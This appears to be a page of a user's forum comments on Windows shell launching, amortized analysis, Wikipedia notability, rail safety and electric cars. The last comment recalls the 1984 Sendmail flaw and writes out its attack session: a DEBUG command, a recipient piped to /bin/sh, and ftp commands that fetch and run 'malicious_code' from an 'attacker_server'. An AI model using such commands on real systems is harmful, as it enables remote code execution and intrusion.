kazinator

If I were to guess, it's because the program has an extension associating with an interpreter application, and that association is handled by the Windows Shell framework's app/document launching API (like ShellExecuteEx, if I dimly recall), which is used by Explorer for running programs, but not by batch files.

Am I close?

For instance, I'm in a room that has a "popcorn" textured ceiling. Suppose I take detailed pictures of it, and start making maps, giving names to the numerous bumps. Would that really be knowledge? There is no doubt that it would be data.

Pyon is dwelling on something that is neither here nor there, since the article makes no claims either way at that level of detail. The word "average" does not imply anything about whether cheap operations before or after the expensive one are helped. Amortized analysis is an abstraction which can redistribute the actual cost of some high cost operation either way, because it's just make believe.

Operations can incur some kind of "debt" which a more expensive operation occurring later has to pay for. Or they can be regarded as enjoying something "prepaid" by an earlier expensive operation until the credit runs out and another prepayment has to be made. Possibly, either view can be used to arrive at the same result.

The level of contention on the part of Pyon is disconnected from the level of detail given to "amortized" in the article and based on the false premise that the word "average" implies some kind of order that is contrary to "amortized". (Expert, my foot).

It is factually correct that a an amortized performance is an average, but readers should be aware that it's a special kind of average (not every average is "amortized") and that it is a warning label: an algorithm with performance quoted as amortized possibly exhibits a big latency spike that occurs infrequently.

Pyon's comment is obvious humor; the commenter is method-acting as a toxic expert with over-the-top language like "how dare you mislead your readers".

However, I have to agree with the substance of the comment; it is a pretty lousy explanation of amortized performance to simply equate it with a kind of average:

> If you read more about big-O, you may see the word “amortized” thrown around. That’s a fancy word for “average,” meaning that individual occurrences don’t all behave exactly the same, but over the long run, averaging over many operations, the behavior has a certain characteristic.

While the result of amortized analysis gives us a kind of average, averages show up in more than way in performance analysis not necessarily via amortization.

The author complains that "[Pyon] pointed out a detail of algorithmic analysis that I had not mentioned. It’s a detail that I had never encountered before."

But the author obviously encountered amortization before, and mentioned it in the article, and not in a very good way.

Amortized analysis isn't something obscure; it is the basis for understanding everyday algorithms such as chained hash tables and garbage collection. It's covered in like third year CS courses.

When an algorithm touts amortized performance, that's a red flag: it suggests that certain operations are infrequently hit with a pretty big cost. For example, a hash table insertion that has to resize the table doesn't just not act "exactly the same" as a previous insertion, or following one; it takes much longer. All the items inserted so far (or at least their hash table entries) have to be visited to redistribute them to a larger table. That could be hundreds of millions: the larger the table, the more expensive this is, yet less frequent. So yes, the amortized performance (like O(1) constant time for hash table insertions) is a kind of average, but the distribution may be heavily skewed, with implications particularly for real-time work. It's not a "nice" average with a tight bell curve distribution jittering around a mean.

A better way would be to say that "amortized" is a kind of average where operations are infrequently penalized with a substantial performance hit, which helps make most other operations faster: the "amortized analysis" which calculates this kind of average works by pretending to redistribute the large cost incurred by one operation among the others. And not all average performance figures are derived using amortized analysis. The word is only used when that particular reasoning was applied, and is mentioned as kind of warning label.

An example of average that is not amortized is, say, searching an unordered list of unique keys, where we expect on average successful search for a random key to process half the list. Readers do deserve to know that they should not use the word "amortized" for this kind of average!

Anyone who disagrees with the notability guidelines must either propose revised notability guidelines which are more inclusive, but not absolutely so, or else accept that their position of opposing notability is tantamount to arguing for the inclusion of all data about anything whatsoever.

If you don't think that information about every UPC code or person who ever existed is fair game for inclusion in the Wikipedia it means you have some notion of notability. If so you should articulate it exactly and say, "this is what notability should be".

The argument can be made, though, that information about subjects (such as people) that are not notable is just data, not "knowledge".

If you ignore a road sign and run someone over in your car today, nobody will make systemic excuses for you.

Someone was driving the train who couldn't estimate the stopping distance relative to speed.

If a car is stalled in the middle of the road, and you hit it, that's on you. 200% if a reflective warning triangle was up 100 meters back.

Or, how about, issue a mandatory repair order and follow-up inspection for every false positive alarm that appears to be due to equipment failure. The follow-up inspection checks that the alarm has not simply been disabled.

> I am not sure you will get parts and service in 10 or 15 years

Giant dumps of discarded electric cars in China would indicate that even if you live in China, you cannot get parts and service, or not in a way that is more financially sound than scrapping the vehicle.

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<[email protected]>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code